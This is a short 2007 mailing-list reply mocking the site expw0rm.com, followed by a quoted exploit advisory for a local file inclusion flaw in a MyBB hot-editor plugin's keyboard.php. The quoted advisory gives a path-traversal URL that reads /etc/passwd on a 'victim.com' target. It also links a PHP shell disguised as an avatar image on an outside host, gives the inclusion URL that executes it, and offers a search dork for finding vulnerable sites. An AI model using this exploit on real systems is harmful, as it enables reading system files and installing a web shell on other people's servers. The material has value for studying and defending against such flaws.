expw0rm dude? That is a pretty weak attempt at mirroring milw0rm.com
you pretty much copied str0kes layout except you added your own
crappy colors. how nice of you.
-KF
On Apr 9, 2007, at 9:40 AM, liz0@xxxxxxxxxxx wrote:
<?php
/*
Vendor : Liz0ziM
Web : www.expw0rm.com
Mail : liz0@xxxxxxxxxxx
---------------------------------------
Vul. Code : keyboard.php line 3
require_once "./vk_code/$first";
----------------------------------------
*/
http://victim.com/[path]/richedit/keyboard.php?
first=../../../../../../../../../../../../../../../../../etc/passwd
And
upload php shell = > http://www.expw0rm.com/avatar_36.zip
http://victim.com/[path]/richedit/keyboard.php?first=../../uploads/
avatars/avatar_36.gif => target isn't show with ie.plese you use
firefox
Dork: "MTR Paket :"
?>
// Exploit Worm www.expw0rm.com
orginal: http://www.expw0rm.com/mybb-hot-editor-plugin-local-file-
inclusion_no114.html